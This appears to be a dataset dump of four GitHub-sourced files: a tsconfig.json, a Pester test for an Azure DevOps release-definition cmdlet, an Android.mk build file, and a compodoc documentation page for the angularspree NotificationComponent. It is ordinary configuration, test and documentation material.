text
stringlengths 2
97.5k
| meta
dict |
|---|---|
{
"compilerOptions": {
"target": "es5",
"lib": [
"dom",
"dom.iterable",
"esnext"
],
"allowJs": true,
"skipLibCheck": true,
"esModuleInterop": true,
"allowSyntheticDefaultImports": true,
"strict": false,
"forceConsistentCasingInFileNames": true,
"module": "esnext",
"moduleResolution": "node",
"resolveJsonModule": true,
"isolatedModules": true,
"noEmit": true,
"jsx": "preserve"
},
"include": [
"src"
]
}
|
{
"pile_set_name": "Github"
}
|
Set-StrictMode -Version Latest
Describe 'VSTeamReleaseDefinition' {
BeforeAll {
. "$PSScriptRoot\_testInitialize.ps1" $PSCommandPath
## Arrange
Mock Show-Browser
Mock _getInstance { return 'https://dev.azure.com/test' }
Mock _getApiVersion { return '1.0-unittest' } -ParameterFilter {
$Service -eq 'Release'
}
}
Context 'Show-VSTeamReleaseDefinition' {
it 'by Id should return release definitions' {
## Act
Show-VSTeamReleaseDefinition -projectName project -Id 15
## Assert
Should -Invoke Show-Browser -Exactly -Scope It -Times 1 -ParameterFilter {
$url -eq 'https://dev.azure.com/test/project/_release?definitionId=15'
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := libsubmask
ifeq ($(MODE), release)
LOCAL_CFLAGS += -O2
endif
LIBRARIES_DIR := $(LOCAL_PATH)/../
LOCAL_C_INCLUDES := $(LOCAL_PATH)
# Add your application source files here...
LOCAL_SRC_FILES := libsubmask.c
include $(BUILD_SHARED_LIBRARY)
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<html class="no-js" lang="">
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<title>angularspree documentation</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="icon" type="image/x-icon" href="../images/favicon.ico">
<link rel="stylesheet" href="../styles/style.css">
</head>
<body>
<div class="navbar navbar-default navbar-fixed-top visible-xs">
<a href="../" class="navbar-brand">angularspree documentation</a>
<button type="button" class="btn btn-default btn-menu fa fa-bars" id="btn-menu"></button>
</div>
<div class="xs-menu menu" id="mobile-menu">
<div id="book-search-input" role="search">
<input type="text" placeholder="Type to search">
</div>
<nav>
<ul class="list">
<li class="title">
<a href="../index.html">angularspree documentation</a>
</li>
<li class="divider"></li>
<li class="chapter">
<a data-type="chapter-link" href="../index.html"><span class="fa fa-home"></span>Getting started</a>
<ul class="links">
<li class="link">
<a href="../index.html" ><span class="fa fa-file-text-o"></span>README</a>
</li>
<li class="link">
<a
href="../overview.html"
href="../overview.html"
>
<span class="fa fa-th"></span>Overview
</a>
</li>
</ul>
</li>
<li class="chapter">
<a data-type="chapter-link" href="../modules.html" >
<span class="fa fa-archive"></span>
<span>Modules</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#xs-modules-links"
></span>
</a>
<ul class="links collapse in"
id="xs-modules-links"
>
<li class="link">
<a href="../modules/AddressModule.html" >AddressModule</a>
</li>
<li class="link">
<a href="../modules/AppModule.html" >AppModule</a>
</li>
<li class="link">
<a href="../modules/AuthModule.html" >AuthModule</a>
</li>
<li class="link">
<a href="../modules/CartModule.html" >CartModule</a>
</li>
<li class="link">
<a href="../modules/CheckoutModule.html" >CheckoutModule</a>
</li>
<li class="link">
<a href="../modules/CoreModule.html" >CoreModule</a>
</li>
<li class="link">
<a href="../modules/HomeModule.html" >HomeModule</a>
</li>
<li class="link">
<a href="../modules/LayoutModule.html" >LayoutModule</a>
</li>
<li class="link">
<a href="../modules/PaymentModule.html" >PaymentModule</a>
</li>
<li class="link">
<a href="../modules/ProductModule.html" >ProductModule</a>
</li>
<li class="link">
<a href="../modules/SharedModule.html" >SharedModule</a>
</li>
<li class="link">
<a href="../modules/UserModule.html" >UserModule</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-cogs"></span>
<span>Components</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#xs-components-links"
></span>
</div>
<ul class="links collapse in"
id="xs-components-links"
>
<li class="link">
<a href="../components/AddAddressComponent.html" >AddAddressComponent</a>
</li>
<li class="link">
<a href="../components/AddressComponent.html" >AddressComponent</a>
</li>
<li class="link">
<a href="../components/AddressesComponent.html" >AddressesComponent</a>
</li>
<li class="link">
<a href="../components/AppComponent.html" >AppComponent</a>
</li>
<li class="link">
<a href="../components/BreadcrumbComponent.html" >BreadcrumbComponent</a>
</li>
<li class="link">
<a href="../components/CartComponent.html" >CartComponent</a>
</li>
<li class="link">
<a href="../components/CashOnDeliveryComponent.html" >CashOnDeliveryComponent</a>
</li>
<li class="link">
<a href="../components/CheckoutFooterComponent.html" >CheckoutFooterComponent</a>
</li>
<li class="link">
<a href="../components/CheckoutHeaderComponent.html" >CheckoutHeaderComponent</a>
</li>
<li class="link">
<a href="../components/ContentComponent.html" >ContentComponent</a>
</li>
<li class="link">
<a href="../components/ContentHeaderComponent.html" >ContentHeaderComponent</a>
</li>
<li class="link">
<a href="../components/CreditCardComponent.html" >CreditCardComponent</a>
</li>
<li class="link">
<a href="../components/CustomizeComponent.html" >CustomizeComponent</a>
</li>
<li class="link">
<a href="../components/DeliveryAddressComponent.html" >DeliveryAddressComponent</a>
</li>
<li class="link">
<a href="../components/DeliveryOptionsComponent.html" >DeliveryOptionsComponent</a>
</li>
<li class="link">
<a href="../components/EmptyCartComponent.html" >EmptyCartComponent</a>
</li>
<li class="link">
<a href="../components/FilterComponent.html" >FilterComponent</a>
</li>
<li class="link">
<a href="../components/FilterSummaryComponent.html" >FilterSummaryComponent</a>
</li>
<li class="link">
<a href="../components/FooterComponent.html" >FooterComponent</a>
</li>
<li class="link">
<a href="../components/HeaderComponent.html" >HeaderComponent</a>
</li>
<li class="link">
<a href="../components/HomeComponent.html" >HomeComponent</a>
</li>
<li class="link">
<a href="../components/LineItemComponent.html" >LineItemComponent</a>
</li>
<li class="link">
<a href="../components/LineItemListComponent.html" >LineItemListComponent</a>
</li>
<li class="link">
<a href="../components/LoadingIndicatorComponent.html" >LoadingIndicatorComponent</a>
</li>
<li class="link">
<a href="../components/LoginComponent.html" >LoginComponent</a>
</li>
<li class="link">
<a href="../components/NetBankingComponent.html" >NetBankingComponent</a>
</li>
<li class="link">
<a href="../components/NotificationComponent.html" data-type="entity-link" class="active" >NotificationComponent</a>
</li>
<li class="link">
<a href="../components/OrderDetailComponent.html" >OrderDetailComponent</a>
</li>
<li class="link">
<a href="../components/OrderListItemComponent.html" >OrderListItemComponent</a>
</li>
<li class="link">
<a href="../components/OrderTotalSummaryComponent.html" >OrderTotalSummaryComponent</a>
</li>
<li class="link">
<a href="../components/OrdersComponent.html" >OrdersComponent</a>
</li>
<li class="link">
<a href="../components/OverviewComponent.html" >OverviewComponent</a>
</li>
<li class="link">
<a href="../components/PaymentComponent.html" >PaymentComponent</a>
</li>
<li class="link">
<a href="../components/PaymentModeComponent.html" >PaymentModeComponent</a>
</li>
<li class="link">
<a href="../components/PaymentModesListComponent.html" >PaymentModesListComponent</a>
</li>
<li class="link">
<a href="../components/ProductComponent.html" >ProductComponent</a>
</li>
<li class="link">
<a href="../components/ProductDescriptionComponent.html" >ProductDescriptionComponent</a>
</li>
<li class="link">
<a href="../components/ProductDetailPageComponent.html" >ProductDetailPageComponent</a>
</li>
<li class="link">
<a href="../components/ProductDetailsComponent.html" >ProductDetailsComponent</a>
</li>
<li class="link">
<a href="../components/ProductImagesComponent.html" >ProductImagesComponent</a>
</li>
<li class="link">
<a href="../components/ProductListComponent.html" >ProductListComponent</a>
</li>
<li class="link">
<a href="../components/ProductListItemComponent.html" >ProductListItemComponent</a>
</li>
<li class="link">
<a href="../components/ProductPriceInfoComponent.html" >ProductPriceInfoComponent</a>
</li>
<li class="link">
<a href="../components/ProductVariantsComponent.html" >ProductVariantsComponent</a>
</li>
<li class="link">
<a href="../components/ProfileDropdownComponent.html" >ProfileDropdownComponent</a>
</li>
<li class="link">
<a href="../components/ReturnListItemComponent.html" >ReturnListItemComponent</a>
</li>
<li class="link">
<a href="../components/ReturnsComponent.html" >ReturnsComponent</a>
</li>
<li class="link">
<a href="../components/SignUpComponent.html" >SignUpComponent</a>
</li>
<li class="link">
<a href="../components/TaxonsComponent.html" >TaxonsComponent</a>
</li>
<li class="link">
<a href="../components/UserComponent.html" >UserComponent</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-file-code-o"></span>
<span>Classes</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#xs-classes-links"
></span>
</div>
<ul class="links collapse in"
id="xs-classes-links"
>
<li class="link">
<a href="../classes/Address.html" >Address</a>
</li>
<li class="link">
<a href="../classes/AuthActions.html" >AuthActions</a>
</li>
<li class="link">
<a href="../classes/CheckoutActions.html" >CheckoutActions</a>
</li>
<li class="link">
<a href="../classes/Classification.html" >Classification</a>
</li>
<li class="link">
<a href="../classes/Image.html" >Image</a>
</li>
<li class="link">
<a href="../classes/LightOrder.html" >LightOrder</a>
</li>
<li class="link">
<a href="../classes/LineItem.html" >LineItem</a>
</li>
<li class="link">
<a href="../classes/OptionType.html" >OptionType</a>
</li>
<li class="link">
<a href="../classes/OptionValue.html" >OptionValue</a>
</li>
<li class="link">
<a href="../classes/Order.html" >Order</a>
</li>
<li class="link">
<a href="../classes/Payment.html" >Payment</a>
</li>
<li class="link">
<a href="../classes/PaymentMode.html" >PaymentMode</a>
</li>
<li class="link">
<a href="../classes/Product.html" >Product</a>
</li>
<li class="link">
<a href="../classes/ProductActions.html" >ProductActions</a>
</li>
<li class="link">
<a href="../classes/ProductProperty.html" >ProductProperty</a>
</li>
<li class="link">
<a href="../classes/SearchActions.html" >SearchActions</a>
</li>
<li class="link">
<a href="../classes/Taxon.html" >Taxon</a>
</li>
<li class="link">
<a href="../classes/User.html" >User</a>
</li>
<li class="link">
<a href="../classes/UserActions.html" >UserActions</a>
</li>
<li class="link">
<a href="../classes/Variant.html" >Variant</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-long-arrow-down"></span>
<span>Injectables</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#xs-injectables-links"
></span>
</div>
<ul class="links collapse in"
id="xs-injectables-links"
>
<li class="link">
<a href="../injectables/AddressService.html" >AddressService</a>
</li>
<li class="link">
<a href="../injectables/AuthService.html" >AuthService</a>
</li>
<li class="link">
<a href="../injectables/AuthenticationEffects.html" >AuthenticationEffects</a>
</li>
<li class="link">
<a href="../injectables/CanActivateViaAuthGuard.html" >CanActivateViaAuthGuard</a>
</li>
<li class="link">
<a href="../injectables/CheckoutEffects.html" >CheckoutEffects</a>
</li>
<li class="link">
<a href="../injectables/CheckoutService.html" >CheckoutService</a>
</li>
<li class="link">
<a href="../injectables/FilterPipe.html" >FilterPipe</a>
</li>
<li class="link">
<a href="../injectables/HttpService.html" >HttpService</a>
</li>
<li class="link">
<a href="../injectables/PaymentService.html" >PaymentService</a>
</li>
<li class="link">
<a href="../injectables/ProductEffects.html" >ProductEffects</a>
</li>
<li class="link">
<a href="../injectables/ProductService.html" >ProductService</a>
</li>
<li class="link">
<a href="../injectables/UserEffects.html" >UserEffects</a>
</li>
<li class="link">
<a href="../injectables/UserService.html" >UserService</a>
</li>
<li class="link">
<a href="../injectables/VariantParserService.html" >VariantParserService</a>
</li>
<li class="link">
<a href="../injectables/VariantRetriverService.html" >VariantRetriverService</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-info"></span>
<span>Interfaces</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#xs-interfaces-links"
></span>
</div>
<ul class="links collapse in"
id="xs-interfaces-links"
>
<li class="link">
<a href="../interfaces/AppState.html" >AppState</a>
</li>
<li class="link">
<a href="../interfaces/AuthState.html" >AuthState</a>
</li>
<li class="link">
<a href="../interfaces/CheckoutState.html" >CheckoutState</a>
</li>
<li class="link">
<a href="../interfaces/CurrentSelectedOptionsType.html" >CurrentSelectedOptionsType</a>
</li>
<li class="link">
<a href="../interfaces/OptionTypesHash.html" >OptionTypesHash</a>
</li>
<li class="link">
<a href="../interfaces/ProductState.html" >ProductState</a>
</li>
<li class="link">
<a href="../interfaces/SearchState.html" >SearchState</a>
</li>
<li class="link">
<a href="../interfaces/Taxonomy.html" >Taxonomy</a>
</li>
<li class="link">
<a href="../interfaces/UserState.html" >UserState</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-plus"></span>
<span>Pipes</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#xs-pipes-links"
></span>
</div>
<ul class="links collapse in"
id="xs-pipes-links"
>
<li class="link">
<a href="../pipes/FilterPipe.html" >FilterPipe</a>
</li>
<li class="link">
<a href="../pipes/HumanizePipe.html" >HumanizePipe</a>
</li>
<li class="link">
<a href="../pipes/KeysPipe.html" >KeysPipe</a>
</li>
</ul>
</li>
<li class="chapter">
<a data-type="chapter-link" href="../miscellaneous.html" ><span class="fa fa-cubes"></span>Miscellaneous</a>
</li>
<li class="chapter">
<a data-type="chapter-link" href="../coverage.html" ><span class="fa fa-tasks"></span>Documentation coverage</a>
</li>
<li class="divider"></li>
<li class="copyright">
Documentation generated using <a href="https://compodoc.github.io/website/" target="_blank">
<img src="..//images/compodoc-vectorise.svg" class="img-responsive">
</a>
</li>
</ul>
</nav>
</div>
<div class="container-fluid main">
<div class="row main">
<div class="hidden-xs menu">
<nav>
<ul class="list">
<li class="title">
<a href="../index.html">angularspree documentation</a>
</li>
<li class="divider"></li>
<div id="book-search-input" role="search">
<input type="text" placeholder="Type to search">
</div>
<li class="chapter">
<a data-type="chapter-link" href="../index.html"><span class="fa fa-home"></span>Getting started</a>
<ul class="links">
<li class="link">
<a href="../index.html" ><span class="fa fa-file-text-o"></span>README</a>
</li>
<li class="link">
<a
href="../overview.html"
href="../overview.html"
>
<span class="fa fa-th"></span>Overview
</a>
</li>
</ul>
</li>
<li class="chapter">
<a data-type="chapter-link" href="../modules.html" >
<span class="fa fa-archive"></span>
<span>Modules</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#modules-links"
></span>
</a>
<ul class="links collapse in"
id="modules-links"
>
<li class="link">
<a href="../modules/AddressModule.html" >AddressModule</a>
</li>
<li class="link">
<a href="../modules/AppModule.html" >AppModule</a>
</li>
<li class="link">
<a href="../modules/AuthModule.html" >AuthModule</a>
</li>
<li class="link">
<a href="../modules/CartModule.html" >CartModule</a>
</li>
<li class="link">
<a href="../modules/CheckoutModule.html" >CheckoutModule</a>
</li>
<li class="link">
<a href="../modules/CoreModule.html" >CoreModule</a>
</li>
<li class="link">
<a href="../modules/HomeModule.html" >HomeModule</a>
</li>
<li class="link">
<a href="../modules/LayoutModule.html" >LayoutModule</a>
</li>
<li class="link">
<a href="../modules/PaymentModule.html" >PaymentModule</a>
</li>
<li class="link">
<a href="../modules/ProductModule.html" >ProductModule</a>
</li>
<li class="link">
<a href="../modules/SharedModule.html" >SharedModule</a>
</li>
<li class="link">
<a href="../modules/UserModule.html" >UserModule</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-cogs"></span>
<span>Components</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#components-links"
></span>
</div>
<ul class="links collapse in"
id="components-links"
>
<li class="link">
<a href="../components/AddAddressComponent.html" >AddAddressComponent</a>
</li>
<li class="link">
<a href="../components/AddressComponent.html" >AddressComponent</a>
</li>
<li class="link">
<a href="../components/AddressesComponent.html" >AddressesComponent</a>
</li>
<li class="link">
<a href="../components/AppComponent.html" >AppComponent</a>
</li>
<li class="link">
<a href="../components/BreadcrumbComponent.html" >BreadcrumbComponent</a>
</li>
<li class="link">
<a href="../components/CartComponent.html" >CartComponent</a>
</li>
<li class="link">
<a href="../components/CashOnDeliveryComponent.html" >CashOnDeliveryComponent</a>
</li>
<li class="link">
<a href="../components/CheckoutFooterComponent.html" >CheckoutFooterComponent</a>
</li>
<li class="link">
<a href="../components/CheckoutHeaderComponent.html" >CheckoutHeaderComponent</a>
</li>
<li class="link">
<a href="../components/ContentComponent.html" >ContentComponent</a>
</li>
<li class="link">
<a href="../components/ContentHeaderComponent.html" >ContentHeaderComponent</a>
</li>
<li class="link">
<a href="../components/CreditCardComponent.html" >CreditCardComponent</a>
</li>
<li class="link">
<a href="../components/CustomizeComponent.html" >CustomizeComponent</a>
</li>
<li class="link">
<a href="../components/DeliveryAddressComponent.html" >DeliveryAddressComponent</a>
</li>
<li class="link">
<a href="../components/DeliveryOptionsComponent.html" >DeliveryOptionsComponent</a>
</li>
<li class="link">
<a href="../components/EmptyCartComponent.html" >EmptyCartComponent</a>
</li>
<li class="link">
<a href="../components/FilterComponent.html" >FilterComponent</a>
</li>
<li class="link">
<a href="../components/FilterSummaryComponent.html" >FilterSummaryComponent</a>
</li>
<li class="link">
<a href="../components/FooterComponent.html" >FooterComponent</a>
</li>
<li class="link">
<a href="../components/HeaderComponent.html" >HeaderComponent</a>
</li>
<li class="link">
<a href="../components/HomeComponent.html" >HomeComponent</a>
</li>
<li class="link">
<a href="../components/LineItemComponent.html" >LineItemComponent</a>
</li>
<li class="link">
<a href="../components/LineItemListComponent.html" >LineItemListComponent</a>
</li>
<li class="link">
<a href="../components/LoadingIndicatorComponent.html" >LoadingIndicatorComponent</a>
</li>
<li class="link">
<a href="../components/LoginComponent.html" >LoginComponent</a>
</li>
<li class="link">
<a href="../components/NetBankingComponent.html" >NetBankingComponent</a>
</li>
<li class="link">
<a href="../components/NotificationComponent.html" data-type="entity-link" class="active" >NotificationComponent</a>
</li>
<li class="link">
<a href="../components/OrderDetailComponent.html" >OrderDetailComponent</a>
</li>
<li class="link">
<a href="../components/OrderListItemComponent.html" >OrderListItemComponent</a>
</li>
<li class="link">
<a href="../components/OrderTotalSummaryComponent.html" >OrderTotalSummaryComponent</a>
</li>
<li class="link">
<a href="../components/OrdersComponent.html" >OrdersComponent</a>
</li>
<li class="link">
<a href="../components/OverviewComponent.html" >OverviewComponent</a>
</li>
<li class="link">
<a href="../components/PaymentComponent.html" >PaymentComponent</a>
</li>
<li class="link">
<a href="../components/PaymentModeComponent.html" >PaymentModeComponent</a>
</li>
<li class="link">
<a href="../components/PaymentModesListComponent.html" >PaymentModesListComponent</a>
</li>
<li class="link">
<a href="../components/ProductComponent.html" >ProductComponent</a>
</li>
<li class="link">
<a href="../components/ProductDescriptionComponent.html" >ProductDescriptionComponent</a>
</li>
<li class="link">
<a href="../components/ProductDetailPageComponent.html" >ProductDetailPageComponent</a>
</li>
<li class="link">
<a href="../components/ProductDetailsComponent.html" >ProductDetailsComponent</a>
</li>
<li class="link">
<a href="../components/ProductImagesComponent.html" >ProductImagesComponent</a>
</li>
<li class="link">
<a href="../components/ProductListComponent.html" >ProductListComponent</a>
</li>
<li class="link">
<a href="../components/ProductListItemComponent.html" >ProductListItemComponent</a>
</li>
<li class="link">
<a href="../components/ProductPriceInfoComponent.html" >ProductPriceInfoComponent</a>
</li>
<li class="link">
<a href="../components/ProductVariantsComponent.html" >ProductVariantsComponent</a>
</li>
<li class="link">
<a href="../components/ProfileDropdownComponent.html" >ProfileDropdownComponent</a>
</li>
<li class="link">
<a href="../components/ReturnListItemComponent.html" >ReturnListItemComponent</a>
</li>
<li class="link">
<a href="../components/ReturnsComponent.html" >ReturnsComponent</a>
</li>
<li class="link">
<a href="../components/SignUpComponent.html" >SignUpComponent</a>
</li>
<li class="link">
<a href="../components/TaxonsComponent.html" >TaxonsComponent</a>
</li>
<li class="link">
<a href="../components/UserComponent.html" >UserComponent</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-file-code-o"></span>
<span>Classes</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#classes-links"
></span>
</div>
<ul class="links collapse in"
id="classes-links"
>
<li class="link">
<a href="../classes/Address.html" >Address</a>
</li>
<li class="link">
<a href="../classes/AuthActions.html" >AuthActions</a>
</li>
<li class="link">
<a href="../classes/CheckoutActions.html" >CheckoutActions</a>
</li>
<li class="link">
<a href="../classes/Classification.html" >Classification</a>
</li>
<li class="link">
<a href="../classes/Image.html" >Image</a>
</li>
<li class="link">
<a href="../classes/LightOrder.html" >LightOrder</a>
</li>
<li class="link">
<a href="../classes/LineItem.html" >LineItem</a>
</li>
<li class="link">
<a href="../classes/OptionType.html" >OptionType</a>
</li>
<li class="link">
<a href="../classes/OptionValue.html" >OptionValue</a>
</li>
<li class="link">
<a href="../classes/Order.html" >Order</a>
</li>
<li class="link">
<a href="../classes/Payment.html" >Payment</a>
</li>
<li class="link">
<a href="../classes/PaymentMode.html" >PaymentMode</a>
</li>
<li class="link">
<a href="../classes/Product.html" >Product</a>
</li>
<li class="link">
<a href="../classes/ProductActions.html" >ProductActions</a>
</li>
<li class="link">
<a href="../classes/ProductProperty.html" >ProductProperty</a>
</li>
<li class="link">
<a href="../classes/SearchActions.html" >SearchActions</a>
</li>
<li class="link">
<a href="../classes/Taxon.html" >Taxon</a>
</li>
<li class="link">
<a href="../classes/User.html" >User</a>
</li>
<li class="link">
<a href="../classes/UserActions.html" >UserActions</a>
</li>
<li class="link">
<a href="../classes/Variant.html" >Variant</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-long-arrow-down"></span>
<span>Injectables</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#injectables-links"
></span>
</div>
<ul class="links collapse in"
id="injectables-links"
>
<li class="link">
<a href="../injectables/AddressService.html" >AddressService</a>
</li>
<li class="link">
<a href="../injectables/AuthService.html" >AuthService</a>
</li>
<li class="link">
<a href="../injectables/AuthenticationEffects.html" >AuthenticationEffects</a>
</li>
<li class="link">
<a href="../injectables/CanActivateViaAuthGuard.html" >CanActivateViaAuthGuard</a>
</li>
<li class="link">
<a href="../injectables/CheckoutEffects.html" >CheckoutEffects</a>
</li>
<li class="link">
<a href="../injectables/CheckoutService.html" >CheckoutService</a>
</li>
<li class="link">
<a href="../injectables/FilterPipe.html" >FilterPipe</a>
</li>
<li class="link">
<a href="../injectables/HttpService.html" >HttpService</a>
</li>
<li class="link">
<a href="../injectables/PaymentService.html" >PaymentService</a>
</li>
<li class="link">
<a href="../injectables/ProductEffects.html" >ProductEffects</a>
</li>
<li class="link">
<a href="../injectables/ProductService.html" >ProductService</a>
</li>
<li class="link">
<a href="../injectables/UserEffects.html" >UserEffects</a>
</li>
<li class="link">
<a href="../injectables/UserService.html" >UserService</a>
</li>
<li class="link">
<a href="../injectables/VariantParserService.html" >VariantParserService</a>
</li>
<li class="link">
<a href="../injectables/VariantRetriverService.html" >VariantRetriverService</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-info"></span>
<span>Interfaces</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#interfaces-links"
></span>
</div>
<ul class="links collapse in"
id="interfaces-links"
>
<li class="link">
<a href="../interfaces/AppState.html" >AppState</a>
</li>
<li class="link">
<a href="../interfaces/AuthState.html" >AuthState</a>
</li>
<li class="link">
<a href="../interfaces/CheckoutState.html" >CheckoutState</a>
</li>
<li class="link">
<a href="../interfaces/CurrentSelectedOptionsType.html" >CurrentSelectedOptionsType</a>
</li>
<li class="link">
<a href="../interfaces/OptionTypesHash.html" >OptionTypesHash</a>
</li>
<li class="link">
<a href="../interfaces/ProductState.html" >ProductState</a>
</li>
<li class="link">
<a href="../interfaces/SearchState.html" >SearchState</a>
</li>
<li class="link">
<a href="../interfaces/Taxonomy.html" >Taxonomy</a>
</li>
<li class="link">
<a href="../interfaces/UserState.html" >UserState</a>
</li>
</ul>
</li>
<li class="chapter">
<div class="simple">
<span class="fa fa-plus"></span>
<span>Pipes</span>
<span class="menu-toggler fa fa-angle-up" data-toggle="collapse"
data-target="#pipes-links"
></span>
</div>
<ul class="links collapse in"
id="pipes-links"
>
<li class="link">
<a href="../pipes/FilterPipe.html" >FilterPipe</a>
</li>
<li class="link">
<a href="../pipes/HumanizePipe.html" >HumanizePipe</a>
</li>
<li class="link">
<a href="../pipes/KeysPipe.html" >KeysPipe</a>
</li>
</ul>
</li>
<li class="chapter">
<a data-type="chapter-link" href="../miscellaneous.html" ><span class="fa fa-cubes"></span>Miscellaneous</a>
</li>
<li class="chapter">
<a data-type="chapter-link" href="../coverage.html" ><span class="fa fa-tasks"></span>Documentation coverage</a>
</li>
<li class="divider"></li>
<li class="copyright">
Documentation generated using <a href="https://compodoc.github.io/website/" target="_blank">
<img src="..//images/compodoc-vectorise.svg" class="img-responsive">
</a>
</li>
</ul>
</nav>
</div>
<div class="content component">
<div class="content-data">
<ol class="breadcrumb">
<li>Components</li>
<li>NotificationComponent</li>
</ol>
<ul class="nav nav-tabs" role="tablist">
<li class="active">
<a href="#infos" id="infos-tab" role="tab" data-toggle="tab" data-link="infos">Infos</a>
</li>
<li>
<a href="#source" role="tab" id="source-tab" data-toggle="tab" data-link="source">Source</a>
</li>
<li>
<a href="#templateData" role="tab" id="templateData-tab" data-toggle="tab" data-link="template">Template</a>
</li>
<li>
<a href="#tree" role="tab" id="tree-tab" data-toggle="tab" data-link="dom-tree">DOM Tree</a>
</li>
</ul>
<div class="tab-content">
<div class="tab-pane fade active in" id="infos"><p class="comment">
<h3>File</h3>
</p>
<p class="comment">
<code>src/app/shared/components/notification/notification.component.ts</code>
</p>
<p class="comment">
<h3>Implements</h3>
</p>
<p class="comment">
<code><a href="https://angular.io/docs/ts/latest/api/core/index/OnInit-interface.html" target="_blank" >OnInit</a></code>
<code><a href="https://angular.io/docs/ts/latest/api/core/index/OnDestroy-interface.html" target="_blank" >OnDestroy</a></code>
</p>
<section>
<h3>Metadata</h3>
<table class="table table-sm table-hover">
<tbody>
<tr>
<td class="col-md-3">selector</td>
<td class="col-md-9"><code>app-notification</code></td>
</tr>
<tr>
<td class="col-md-3">styleUrls</td>
<td class="col-md-9"><code>notification.component.scss</code></td>
</tr>
<tr>
<td class="col-md-3">templateUrl</td>
<td class="col-md-9"><code>./notification.component.html</code></td>
</tr>
</tbody>
</table>
</section>
<section>
<h3 id="constructor">Constructor</h3>
<table class="table table-sm table-bordered">
<tbody>
<tr>
<td class="col-md-4">
<code>constructor(httpInterceptor: <a href="../injectables/HttpService.html">HttpService</a>)</code>
</td>
</tr>
<tr>
<td class="col-md-4">
<div class="io-line">Defined in <a href="" data-line="13" class="link-to-prism">src/app/shared/components/notification/notification.component.ts:13</a></div>
</td>
</tr>
</tbody>
</table>
</section>
<section>
<h3 id="methods">
Methods
</h3>
<table class="table table-sm table-bordered">
<tbody>
<tr>
<td class="col-md-4">
<b> ngOnInit</b>
</td>
</tr>
<tr>
<td class="col-md-4">
<code>ngOnInit()</code>
</td>
</tr>
<tr>
<td class="col-md-4">
<div class="io-line">Defined in <a href="" data-line="21" class="link-to-prism">src/app/shared/components/notification/notification.component.ts:21</a></div>
</td>
</tr>
<tr>
<td class="col-md-4">
<div class="io-description">
<b>Returns: </b> <code>void</code>
</div>
</td>
</tr>
</tbody>
</table>
<table class="table table-sm table-bordered">
<tbody>
<tr>
<td class="col-md-4">
<b> ngOnDestroy</b>
</td>
</tr>
<tr>
<td class="col-md-4">
<code>ngOnDestroy()</code>
</td>
</tr>
<tr>
<td class="col-md-4">
<div class="io-line">Defined in <a href="" data-line="24" class="link-to-prism">src/app/shared/components/notification/notification.component.ts:24</a></div>
</td>
</tr>
<tr>
<td class="col-md-4">
<div class="io-description">
<b>Returns: </b> <code>void</code>
</div>
</td>
</tr>
</tbody>
</table>
</section>
<section>
<h3 id="inputs">
Properties
</h3>
<table class="table table-sm table-bordered">
<tbody>
<tr>
<td class="col-md-4">
<b> loading</b>
</td>
</tr>
<tr>
<td class="col-md-4">
<code>loading: <code>any</code>
</bcode>
</td>
</tr>
<tr>
<td class="col-md-4">
<div class="io-line">Defined in <a href="" data-line="12" class="link-to-prism">src/app/shared/components/notification/notification.component.ts:12</a></div>
</td>
</tr>
</tbody>
</table>
<table class="table table-sm table-bordered">
<tbody>
<tr>
<td class="col-md-4">
<b> notiSubs</b>
</td>
</tr>
<tr>
<td class="col-md-4">
<code>notiSubs: <code>Subscription</code>
</bcode>
</td>
</tr>
<tr>
<td class="col-md-4">
<div class="io-line">Defined in <a href="" data-line="13" class="link-to-prism">src/app/shared/components/notification/notification.component.ts:13</a></div>
</td>
</tr>
</tbody>
</table>
</section>
</div>
<div class="tab-pane fade tab-source-code" id="source">
<pre class="line-numbers"><code class="language-typescript">import { Component, OnInit, OnDestroy } from '@angular/core';
import { Observable } from 'rxjs/Observable';
import { Subscription } from 'rxjs/Subscription';
import { HttpService } from '../../../core/services/http';
@Component({
selector: 'app-notification',
templateUrl: './notification.component.html',
styleUrls: ['./notification.component.scss']
})
export class NotificationComponent implements OnInit, OnDestroy {
loading: any;
notiSubs: Subscription;
constructor(private httpInterceptor: HttpService) {
this.notiSubs = this.httpInterceptor.loading.subscribe(
data => this.loading = data
);
}
ngOnInit() {
}
ngOnDestroy() {
// this.notiSubs.unsubscribe();
}
}
</code></pre>
</div>
<div class="tab-pane fade" id="templateData">
<pre class="line-numbers"><code class="language-html"><div class="notify-container in" *ngIf="loading.hasError">
<div class="notify-error notify-content">
<div class="notify-error-message">
<span class="notify-icon">!</span>
<p class="notify-icon-text">
{{loading.hasMsg}}
</p>
</div>
</div>
</div></code></pre>
</div>
<div class="tab-pane fade" id="tree">
<div id="tree-container"></div>
<div class="tree-legend">
<div class="title">
<b>Legend</b>
</div>
<div>
<div class="color htmlelement"></div><span>Html element</span>
</div>
